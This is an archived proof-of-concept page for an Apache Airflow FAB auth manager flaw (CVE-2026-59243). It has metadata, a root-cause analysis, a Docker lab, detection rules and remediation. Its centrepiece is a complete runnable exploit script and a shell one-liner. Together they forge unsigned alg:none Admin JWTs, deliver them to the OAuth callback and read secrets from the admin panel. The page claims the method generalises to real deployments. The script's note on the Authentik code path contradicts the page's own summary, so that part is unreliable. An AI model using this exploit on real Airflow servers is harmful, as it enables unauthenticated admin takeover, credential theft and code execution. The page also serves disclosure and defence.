PoC Archive PoC Archive
CVE-2026-59243 category: web CVSS 9.8 (CRITICAL)
Patched

Apache Airflow FAB Auth Manager Azure AD JWT Signature Bypass — Pre-Auth Admin Takeover (CVE-2026-59243)

Published: 2026-11-27 • Researcher: MalHyuk (GitHub: [MalHyuk](https://github.com/MalHyuk)); CNA Apache Software Foundation

Target software Apache Airflow — FAB auth manager (apache-airflow-providers-fab), Azure AD OAuth login path
Affected versions apache-airflow-providers-fab before 3.7.3 (fixed in 3.7.3). Deployments that use the FAB auth manager with the Azure AD OAuth provider and have not set verify_signature explicitly in client_kwargs
Status PoC — working end-to-end against the bundled simulation of the vulnerable decode path; not run against a live Airflow deployment by the archivist
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-59243 (Apache advisory, 2026-07-29; CWE-347)
Category
web
Affected product
Apache Airflow — FAB auth manager (apache-airflow-providers-fab), Azure AD OAuth login path
Affected versions
apache-airflow-providers-fab before 3.7.3 (fixed in 3.7.3). Deployments that use the FAB auth manager with the Azure AD OAuth provider and have not set verify_signature explicitly in client_kwargs
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-08-01 (upstream commit 5a197d2, “Add NVD 9.8 CRITICAL score; reconcile with my earlier AC:H estimate”)
Author / ResearcherMalHyuk (GitHub: MalHyuk); CNA Apache Software Foundation
CVE / AdvisoryCVE-2026-59243 (Apache advisory, 2026-07-29; CWE-347)
Categoryweb
SeverityCritical
CVSS Score9.8 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (NVD). Apache rated the issue “moderate” under its own risk model; the reporter’s own estimate was 8.1 with AC:H
StatusPoC — working end-to-end against the bundled simulation of the vulnerable decode path; not run against a live Airflow deployment by the archivist
TagsApache Airflow, FAB auth manager, OAuth, Azure AD, JWT, alg:none, signature verification bypass, CWE-347, authentication bypass, admin takeover, pre-auth
RelatedN/A

Affected Target

FieldValue
Software / SystemApache Airflow — FAB auth manager (apache-airflow-providers-fab), Azure AD OAuth login path
Versions Affectedapache-airflow-providers-fab before 3.7.3 (fixed in 3.7.3). Deployments that use the FAB auth manager with the Azure AD OAuth provider and have not set verify_signature explicitly in client_kwargs
Language / PlatformPython 3.x (Flask / Flask-AppBuilder, PyJWT, authlib) on any Airflow-supported Linux host; the archived lab targets Python 3.12 in a slim container
Authentication RequiredNo — the vulnerability is in the authentication step itself; a forged token replaces legitimate credentials
Network Access RequiredYes — the attacker must get the forged ID token to the OAuth callback route

Summary

Apache Airflow’s FAB auth manager decodes Azure AD OAuth ID tokens with signature verification turned off by default. Anyone who can place a forged token in front of the OAuth callback, including an unsigned token that declares the none algorithm, is accepted as that identity with no key or secret required. Forging an Admin claim therefore yields an authenticated Airflow session, from which the attacker reaches connections, variables, the Fernet key and remote code execution on workers by pushing a new DAG. The flaw affects apache-airflow-providers-fab before 3.7.3 and was fixed by defaulting signature verification to true.

Vulnerability Details

Root Cause

FabAirflowSecurityManagerOverride._decode_and_validate_azure_jwt() reads a verify_signature flag from the provider’s client_kwargs and defaults it to False:

Python
1
2
3
4
5
verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
if verify_signature:
    # authlib JWKS validation path
    ...
return jwt.decode(id_token, options={"verify_signature": False})

The Authentik branch in the same file defaults the equivalent flag to True (lines 414-416). Because the Azure default is insecure, a stock deployment accepts any ID token — including one with an empty signature — and trusts its claims as the authenticated identity. The fix is a one-character change (False → True) merged as commit 54259ae (PR #69374).

Attack Vector

An unauthenticated attacker forges a JWT with {"alg": "none", "typ": "JWT"} and arbitrary claims, then delivers it as id_token to the Azure OAuth callback (/login/azure/authorized, or wherever the integration is mounted). Delivery options named by the researcher include a misconfigured TLS-terminating proxy, an open redirector with lax redirect_uri validation, or a direct request with a crafted state value. No private key, client secret or Azure AD account is needed.

Impact

Full administrative takeover of the Airflow deployment. Because roles: ["Admin"] is attacker-supplied, the session grants access to Connections, Variables, the Fernet key and DAG authoring. Pushing a DAG or a malicious provider yields arbitrary code execution in the scheduler/worker context, and exposed credentials in Connections can be used to pivot into connected systems. Integrity, confidentiality and availability are all affected.

Environment / Lab Setup

Output
OS:          Linux host with Docker
Target:      Flask stand-in reproducing the vulnerable decode path, 127.0.0.1:5002
Attacker:    Linux host with Python 3.12 and pwntools
Tools:       docker, docker compose, python3, pwntools

Setup Steps

Shell script
1
2
3
docker compose build airflow-jwt
docker compose up -d airflow-jwt     # binds 127.0.0.1:5002 only
python3 -m pip install --user pwntools

The container installs flask and pyjwt from PyPI at build time, so the build host needs outbound HTTPS. docker-compose.yml publishes the port on loopback only, which keeps the deliberately vulnerable target off the network.

Proof of Concept

Step-by-Step Reproduction

  1. Start the target — build and launch the simulated FAB OAuth callback.

    Shell script
    1
    2
    
    docker compose build airflow-jwt
    docker compose up -d airflow-jwt
  2. Confirm the target is up — the index page advertises that any JWT is accepted.

    Shell script
    1
    
    curl -s http://127.0.0.1:5002/
  3. Forge an unsigned Admin token — the exploit builds the header and payload with base64url and appends an empty signature segment.

    Shell script
    1
    2
    3
    4
    5
    6
    7
    
    python3 - <<'EOF'
    import base64, json
    b64 = lambda d: base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()
    h = b64({"alg": "none", "typ": "JWT"})
    p = b64({"email": "admin@company.com", "name": "Hacked Admin", "roles": ["Admin"]})
    print(f"{h}.{p}.")
    EOF
  4. Deliver the token to the callback — the exploit does this and then reuses the same token on the admin panel.

    Shell script
    1
    
    python3 exploit_airflow_jwt.py
  5. Or run the whole chain — the convenience wrapper builds, starts, exploits and tears down.

    Shell script
    1
    
    ./run.sh
  6. Clean up the container and image.

    Shell script
    1
    
    docker compose down --remove-orphans

Exploit Code

Full automation: exploit_airflow_jwt.py (forge → callback → admin panel → negative control). Vulnerable target: server.py. Lab: Dockerfile, docker-compose.yml, run.sh. Upstream fix: fix.diff.

Core of the forged token and callback delivery:

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
def forge_jwt(email, name, role):
    """Create a JWT with no signature (alg: none). No key needed."""
    header  = base64.urlsafe_b64encode(json.dumps({"alg": "none", "typ": "JWT"}).encode()).rstrip(b"=")
    payload = base64.urlsafe_b64encode(json.dumps({
        "sub": email, "email": email,
        "name": name, "preferred_username": email.split("@")[0],
        "roles": [role],
        "iss": "https://authentik.company.com",
        "aud": "airflow-client-id",
        "exp": 9999999999,
    }).encode()).rstrip(b"=")
    return f"{header.decode()}.{payload.decode()}."

token = forge_jwt("admin@company.com", "Hacked Admin", "Admin")
resp = urllib.request.urlopen(f"{TARGET}/oauth/callback?id_token={urllib.parse.quote(token)}")

The target’s vulnerable line mirrors upstream:

Python
1
claims = jwt.decode(id_token, options={"verify_signature": False})

Expected Output

The values below follow the script’s log statements; this copy was not executed by the archivist.

Output
[*] Target: http://localhost:5002
[*] Forged JWT: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0...
[*] Sending forged token to OAuth callback...
[+] Authenticated as: admin@company.com (role=Admin)
[!] Token was accepted WITHOUT signature verification!
[*] Accessing admin panel with forged Admin token...
[+] ACCESS GRANTED — Admin Dashboard
[+] Secrets leaked:
    db_password: prod_s3cret_123
    fernet_key: ZmDfcTF7_60GrrY167zsiPd67pEvs0aGOv2oasOM1Pg=
    api_key: sk-airflow-prod-xxxxxxxxxxxx
[+] You accessed admin panel with a FORGED token!
[*] Proving Viewer role is blocked...
[*] HTTP 403: Admin role required → Viewer blocked, but attacker just forges Admin role

The leaked secrets are hard-coded placeholders in server.py; they are not real credentials.

Detection & Indicators of Compromise

Output
POST /login/azure/authorized   id_token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0...
GET  /login/azure/authorized?...state=...&id_token=eyJ...
  • Airflow audit/session logs showing a login for an account that has no matching Azure AD sign-in event at the same time.
  • roles: ["Admin"] appearing in a token whose iss/aud do not match the configured tenant and client ID.
  • New DAGs or Connections created moments after a suspicious OAuth callback, especially DAGs that shell out.
  • Airflow webserver logs at DEBUG level from auth_manager showing _decode_and_validate_azure_jwt accepting a token without a JWKS fetch.
  • Absence of outbound requests to login.microsoftonline.com/common/discovery/v2.0/keys from the webserver during a login that should have been signature-verified.

SIEM / IDS rule (example):

Output
alert http any any -> any any (
  msg:"Airflow FAB OAuth alg:none JWT on callback";
  flow:to_server; http.method; content:"GET";
  http.uri; content:"/login/"; content:"id_token="; nocase;
  http.uri; content:"eyJhbGciOiJub25l"; nocase;
  sid:900592431;)

Remediation

ActionDetail
PatchUpgrade apache-airflow-providers-fab to 3.7.3 or later (fix commit 54259ae, PR #69374). 3.7.3 defaults verify_signature to True for Azure AD, matching Authentik.
WorkaroundIf upgrading is not immediately possible, set it explicitly in webserver_config.py: OAUTH_PROVIDERS = [{"name": "azure", "client_kwargs": {"verify_signature": True, ...}}].
Config HardeningKeep OAuth callbacks HTTPS-only with strict redirect_uri allow-listing; do not expose the webserver’s /login/ routes through permissive proxies or open redirectors; restrict Admin role assignment and review it regularly; rotate credentials stored in Airflow Connections if compromise is suspected; enable audit logging and alert on OAuth callback anomalies.

References

Notes

Verdict. Genuine proof of concept. The repository ships runnable code that forges an alg:none JWT, delivers it to an OAuth callback, and reads the admin panel with the forged claims, plus a Docker lab that isolates the exact vulnerable call (jwt.decode(..., options={"verify_signature": False})) and a patch diff anchored to the upstream lines. It is not a scanner, detector, version-audit or advisory-only writeup, and it contains no malware, persistence, keylogger, miner, stealer, C2 or evasion components. The archived copy keeps the exploit, the vulnerable stand-in, the lab files and the fix diff.

License. MIT (upstream LICENSE copied verbatim as LICENSE). Attribution to MalHyuk is preserved in the archive disclaimer header and here.

Omitted files. check_advisory.sh was not archived: it is the author’s personal cron-based advisory-publication watcher that writes marker files under $HOME, pushes a Windows toast through PowerShell and trips GitHub API calls. It is neither exploit code nor part of the vulnerability, and it is irrelevant to reproducers. README.ko.md (Korean translation of the upstream README) was also omitted as duplicate content. patch/fix.diff is archived as fix.diff.

Limitations and caveats.

  • This copy was not executed by the archivist. The expected output above is reconstructed from the script’s own log calls and the hard-coded placeholder secrets in server.py, not from a recorded run.
  • The bundled server.py is a faithful simulation of the vulnerable decode path, not Apache Airflow itself. The forgery and callback interaction generalise to real FAB deployments (the vulnerable line is the same), but the token-delivery step against a live Azure AD-configured callback is described in the upstream README rather than implemented in the exploit; a reproducer must adapt the callback URL, iss and aud to the target tenant.
  • exploit_airflow_jwt.py imports pwntools (from pwn import *) only for its logging helpers, so pwntools is a runtime dependency despite no exploitation primitive being used from it.
  • Severity is genuinely disputed: NVD assigns 9.8 with AC:L, the reporter argued 8.1 with AC:H narrowly considering MITM, and Apache published “moderate”. All three describe the same one-character defect.
  • The exploit’s admin-panel step reuses the forged token in an Authorization: Bearer header; real Airflow stores the session server-side after the callback, so that specific request shape is lab-specific.
  • run.sh runs docker compose down at the end, which tears down other compose services in the same project directory if any exist; run it from this folder.
exploit_airflow_jwt.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#!/usr/bin/env python3
# ---------------------------------------------------------------------------
# ARCHIVE COPY - educational / authorized security research only.
# Do not run against systems you do not own or have explicit written
# permission to test. Executing this script against a third-party host is
# illegal in most jurisdictions.
#
# Upstream: https://github.com/MalHyuk/CVE-2026-59243 (MIT License)
# Archived: 2026-11-27 by the poc-archive project, with attribution.
# ---------------------------------------------------------------------------
"""
[VULN-10] Airflow FAB OAuth JWT Bypass → Admin Takeover
=========================================================
Target : http://localhost:5002 (FAB Auth Manager simulation)
Vuln   : providers/fab/.../security_manager/override.py:414,2341
         jwt.decode(id_token, options={"verify_signature": False})

How it works:
    The FAB auth manager decodes JWT tokens from Authentik and Azure AD
    OAuth with verify_signature=False. This means ANY JWT — even one with
    no signature at all (alg: none) — is accepted as valid.

    The attacker forges a JWT claiming to be admin@company.com with Admin
    role. No private key or secret is needed. The server trusts it blindly.

Environment Setup:
    cd ~/ibb-bounty/docker-exploit
    sudo docker compose up -d airflow-jwt    # Starts target on port 5002
    python3 exploit_airflow_jwt.py           # Runs exploit

Docker Container:
    - Image: python:3.12-slim + flask + pyjwt
    - Simulates FAB OAuth callback with verify_signature=False
    - /oauth/callback accepts forged JWT → authenticates user
    - /admin returns secrets if role == Admin

Vulnerable Code (override.py):
    Line 414 (Authentik):
        me = jwt.decode(id_token, options={"verify_signature": False})

    Line 2332-2341 (Azure AD):
        verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
        return jwt.decode(id_token, options={"verify_signature": False})
"""
from pwn import *
import base64, json, urllib.error, urllib.parse, urllib.request

TARGET = "http://localhost:5002"
context.log_level = "info"


def forge_jwt(email, name, role):
    """Create a JWT with no signature (alg: none). No key needed."""
    header  = base64.urlsafe_b64encode(json.dumps({"alg": "none", "typ": "JWT"}).encode()).rstrip(b"=")
    payload = base64.urlsafe_b64encode(json.dumps({
        "sub": email, "email": email,
        "name": name, "preferred_username": email.split("@")[0],
        "roles": [role],
        "iss": "https://authentik.company.com",
        "aud": "airflow-client-id",
        "exp": 9999999999,
    }).encode()).rstrip(b"=")
    return f"{header.decode()}.{payload.decode()}."


log.info(f"Target: {TARGET}")

# Step 1: Forge admin JWT
token = forge_jwt("admin@company.com", "Hacked Admin", "Admin")
log.info(f"Forged JWT: {token[:60]}...")

# Step 2: OAuth callback — authenticate with forged token
log.info("Sending forged token to OAuth callback...")
resp = urllib.request.urlopen(f"{TARGET}/oauth/callback?id_token={urllib.parse.quote(token)}")
result = json.loads(resp.read())
log.success(f"Authenticated as: {result['email']} (role={result['role']})")
log.warning(result["WARNING"])

# Step 3: Access admin panel with forged token
log.info("Accessing admin panel with forged Admin token...")
req = urllib.request.Request(f"{TARGET}/admin", headers={"Authorization": f"Bearer {token}"})
resp = urllib.request.urlopen(req)
admin = json.loads(resp.read())
log.success(f"{admin['status']} — {admin['panel']}")
log.success("Secrets leaked:")
for k, v in admin["secrets"].items():
    print(f"    {k}: {v}")
log.success(admin["message"])

# Step 4: Prove Viewer can't access (role enforcement works)
log.info("Proving Viewer role is blocked...")
viewer_token = forge_jwt("viewer@company.com", "Viewer", "Viewer")
req = urllib.request.Request(f"{TARGET}/admin", headers={"Authorization": f"Bearer {viewer_token}"})
try:
    urllib.request.urlopen(req)
except urllib.error.HTTPError as e:
    r = json.loads(e.read())
    log.info(f"HTTP {e.code}: {r['error']} → Viewer blocked, but attacker just forges Admin role")